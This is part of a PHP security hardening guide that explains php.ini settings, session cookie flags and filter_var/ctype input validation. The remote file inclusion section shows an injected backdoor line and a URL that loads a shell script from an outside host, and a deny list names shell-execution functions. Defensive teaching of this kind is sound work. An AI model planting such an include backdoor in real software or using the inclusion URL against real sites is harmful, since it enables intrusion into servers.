Part 4: PHP Security Mini Guide – Input Validation and PHP Configuration

PHP Configuration

The best security practice when it comes to software is to make sure it is always up to date with the latest security patches and running the latest supported stable version. Sometimes the attackers will take advantage not only of errors in coding but also insecure PHP configurations.

PHP Version exposure

As with every software installed, it is always recommended not to expose its version, as this is the first thing attackers will search for during reconnaissance (information gathering). They will then try to find version-specific vulnerabilities to exploit.

PHP by default exposes its version in the “X-Powered-By” header:

PHP Security

It can be disabled by changing the expose_php directive:

In php.ini change expose_php to Off

expose_php = Off

You should be aware that even though this improves the overall security of a system it does NOT however stop the attackers from exploiting any vulnerabilities.

Script name exposure

PHP will by default add the X-PHP-Originating-Script header to emails sent via the mail() function. The value of this header includes the UID and the filename of the PHP script from which the mail is sent.

PHP Security

This might expose filenames which can be targeted by attackers. This header can be disabled by changing the mail.add_x_header directive:

In php.ini change mail.add_x_header to Off

Mail.add_x_header = Off

Error reporting

Error reporting helps software developers debug problems and test the functionality of a system as it outputs information when an error occurs during code execution.

The end user should never see these errors for the following reasons:

a) Showing ugly error messages degrades user experience. The users don’t understand what a runtime error means, they cannot fix it and if they received an error it most probably means that their action was not processed thus making the application unusable. It also shows lack of security awareness by the developers.

b) Errors can expose sensitive information about the underlying server configuration or application code.

For example, this is a common error which indicates the presence of SQL Injection:

PHP security

The next error code exposes a MySQL database username, the method of connection to the database (mysqli extension) and the path to the script being executed:

PHP Security

It should also be noted that pages containing errors can be indexed by search engines. It is very common for hackers to use specific keywords to find such pages and attack them.

It is also common for developers to forget turning debugging mode off when moving an application to a live server. In a production environment, error reporting should always be turned off and developers should always make sure their code catches errors/exceptions and does not directly expose the result of an operation to the user.

Error reporting can be disabled by changing the display_errors directive:

In php.ini change display_errors to Off

display_errors = Off

With this setting set to Off, the response becomes:

PHP security

You might be wondering why do we still get an error since we turned display_errors off? The reason is that in our PHP code we are checking whether a connection to the database is successful and if not, we display information about the error:

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

If we wanted to hide the database error message, we would need to remove the dynamic part $conn->connect_error.

if ($conn->connect_error) {
die("Connection failed");
}

Now the error becomes:

PHP Security

Session Cookies

Httponly

Httponly is a flag which prevents client side Javascript from accessing a cookie’s value and it is commonly being used as a Cross Site Scripting (XSS) mitigation. If for example a web application is vulnerable to XSS then the payload executed will not be able to steal cookies flagged as Httponly. This is particularly useful for session cookies.

Without the flag:

PHP security

Javascript can access the session cookie:

PHP Security

This flag can be set when creating any cookie in PHP, or be enforced by PHP configuration (or .htaccess) for the PHP session cookie.

In php.ini change session.cookie_httponly to On

session.cookie_httponly = On

With the flag ON Javascript cannot access the session cookie:

PHP security

Secure

The Secure flag ensures that the PHP Session cookie is only sent via an encrypted (HTTPS) connection. This protects (at a certain level) the session cookie from MiTM attacks. If your web application is running on HTTPS then you should consider turning this option ON.

In php.ini change session.cookie_secure to On

session.cookie_secure = On

Session Fixation

The server creates sessions to track users and save information about them. Session fixation refers to the ability of a user to manually set a session by sending a request to a server with the session id they want to create. This can be used to trick another user to use a specific session id and then be used by an attacker to access their data/account/information.

This can be (partially) mitigated by setting the directive session.use_strict_mode to On.

In php.ini change session.use_strict_mode to On

session.use_strict_mode = 1

Remote file inclusion

allow_url_include / allow_url_fopen

These directives allow PHP to include files from a remote server and treat them as local files. If include(), require() or file_get_contents() functions are used insecurely in a script, an attacker can take advantage of this and include malicious code from a remote server. In another case, if an attacker can inject code into a file, instead of uploading/hosting a PHP backdoor shell on the target server, they can write just one line of code and include the shell remotely.

Let’s say an attacker grants access to a WordPress installation which has file editing enabled (it is enabled by default). By injecting the following code, and having these directives enabled on the server (they are enabled by default), they can have a backdoor loaded remotely:

include($_GET['file']);

Passing as a parameter the link to a shell script (shell.txt contains “uname -a”):

http://acunetix.php.example/remote.php?file=http://192.168.2.100/shell.txt

These directives can be disabled by editing the PHP.ini:

PHP Configuration

In php.ini change allow_url_fopen and allow_url_include to Off

allow_url_fopen = Off
allow_url_include = Off

Directory Traversal

As we have seen, in directory traversal a user can access files which reside outside the root directory. One way to limit PHP scripts from accessing files in directories outside root is by setting the open_basedir directive in PHP.ini .By default this directive is empty, allowing the script to browse files readable by its user anywhere in the filesystem.

With the default configuration, and by passing unvalidated requests to the include() function:

PHP Configuration

We can “jail” the file inclusion to the root directory by changing the open_basedir directive:

In php.ini change open_basedir

open_basedir = /var/www/html/

// Multiple directories can be specified with the ":" delimiter
open_basedir = /var/www/html/:/var/www/html2/:/var/www/html3/

Now only files within /var/www/html/ can be accessed by PHP:

PHP security

If open_basedir is set then the upload_tmp_dir directive must also be set to a directory writable by the web user. That means that it must reside within the root directory. By default PHP uses /tmp/ which in this case will not work.

In php.ini change upload_temp_dir

upload_tmp_dir = /var/www/html/tmp/

Shell Commands

As we’ve seen in the Code Injection part of this article, having shell functions enabled can be very dangerous. By disabling these functions, we make sure that any backdoor uploaded to a web application and which uses these functions will fail to work. To disable them first make sure that you do not have any script using them and then make the following change:

In php.ini append to the disable_functions directive the following

disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,shell_exec,passthru,system

Input Validation

Validation is the process in which data is checked against specific criteria/specification. During validation the data is not altered in any way. This means that none of the filters we are going to see will “clear” data from invalid characters. It is very useful however as it will allow to process only valid data as much as possible. Below we can see some common PHP filters used for validation.

filter_var()

Validation (and sanitization filters) are being passed in the filter_var() function. The filter_var() function accepts up to 3 parameters in the following format:

filter_var(variable, filtername, ‘options’)

variable = The variable to filter (for example $username)
filtername = The id or name of the filter to be used. (Optional)
options = Flags which can be used based on which filter is selected (Optional). Options must be enclosed in single quotes and linked with the pipe ”|” symbol if needed .

FILTER_VALIDATE_EMAIL

This filter checks if a given value is a valid email address based on the RFC 822, with the exception that comments, whitespace folding and dotless domain names are not supported.

Supported flags:

  • FILTER_FLAG_EMAIL_UNICODE: Allows Unicode characters to be used as part of the host part of an email address. (Available as of PHP 7.1.0)

Example:

$email_address = 'test_email_αddre$$@test.com';
if (filter_var($email_address, FILTER_VALIDATE_EMAIL)) {
echo "This is a VALID email address.\n";
} else {
echo "This is an INVALID email address.\n";
}
This will return false as the $email_address contains the Greek character “α”.

FILTER_VALIDATE_IP

This filter checks if a given value is a valid IPV4/6 address.

Supported flags:

  • FILTER_FLAG_IPV4: Checks if a given value is a valid IPV4 address
  • FILTER_FLAG_IPV6: Checks if a given value is a valid IPV6 address
  • FILTER_FLAG_NO_PRIV_RANGE: Checks if a given value belongs in the following Private IPV4 Ranges: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 or in case of IPV6 if it starts with FD or FC.
  • FILTER_FLAG_NO_RES_RANGE: Checks if a given value is in the following Private IPV4 Ranges: 0.0.0.0/8, 169.254.0.0/16, 127.0.0.0/8 and 240.0.0.0/4 or in case of IPV6 ::1/128, ::/128, ::ffff:0:0/96 and fe80::/10.

Example:

// Check if a given IP address is valid
$ip_address = "216.58.205.78";
if(filter_var($ip_address, FILTER_VALIDATE_IP)) {
echo("This is a valid IP address");
} else {
echo("This is an invalid IP address");
}
// returns true

// Check if a given IP address is valid IPV4 and not private
$ip_address = "192.168.0.1";
if(filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE)) {
echo("This is a valid IPV4 and not private address");
} else {
echo("This is an invalid or private IP address");
}
// returns false because the $ip_address is a valid private IPV4 address
If no flags defined, it will by default check for both IPV4 and IPV6 addresses validity.

FILTER_VALIDATE_URL

This filter checks if a given value is a valid URL based on the RFC 2396.

Supported flags:

  • FILTER_FLAG_SCHEME_REQUIRED: Checks if a URL has a scheme specified. (For example http, https, ftp etc)
  • FILTER_FLAG_HOST_REQUIRED: Checks if a URL has a host specified. (For example www.example.com)
  • FILTER_FLAG_PATH_REQUIRED: Checks if a URL has a path specified. (For example www.example.com/path/file.php)
  • FILTER_FLAG_QUERY_REQUIRED: Checks if a URL has a query specified. (For example www.example.com/?id=1)

Example:

$url = "https://www.google.com";
if (filter_var($url, FILTER_VALIDATE_URL)) {
echo("This is a valid URL");
} else {
echo("This is an invalid URL");
}

For a full list of supported filters see the official documentation here.

ctype()

The ctype extension provides functions which like filter_var() can be used for validating data of a certain type. There are a few things that need to be noted:

a) The functions return TRUE or FALSE
b) A space will cause strings not to validate in some functions so they need to be remove before validation.
c) The functions accept only a string or an integer. Anything else will return FALSE.

Function Description
ctype_alnum() Check for alphanumeric characters (a-z A-Z 0-9)
ctype_alpha() Check for alphabetic character (a-z A-Z)
ctype_cntrl() Check for control characters (\n \r \t)
ctype_digit() Check for numeric characters (0-9)
ctype_graph() Check if all the characters in a string create visible output
ctype_lower() Check for lowercase characters (a-z)
ctype_print() Check for printable characters including space
ctype_punct() Check for printable characters other than alphanumeric or space
ctype_space() Check for spaces in string
ctype_upper() Check for uppercase characters
ctype_xdigit() Check for hexadecimal characters

Example:

$strings = array('pAssw0rd', 'p4a$$word');
foreach ($strings as $string) {
if (ctype_alnum($string)) {
echo "The string $string contains only alphanumeric characters.";
} else {
echo "The string $string does not contain only alphanumeric characters.";
}
}
The string pAssw0rd contains only alphanumeric characters.
The string p4a$$word does not contain only alphanumeric characters.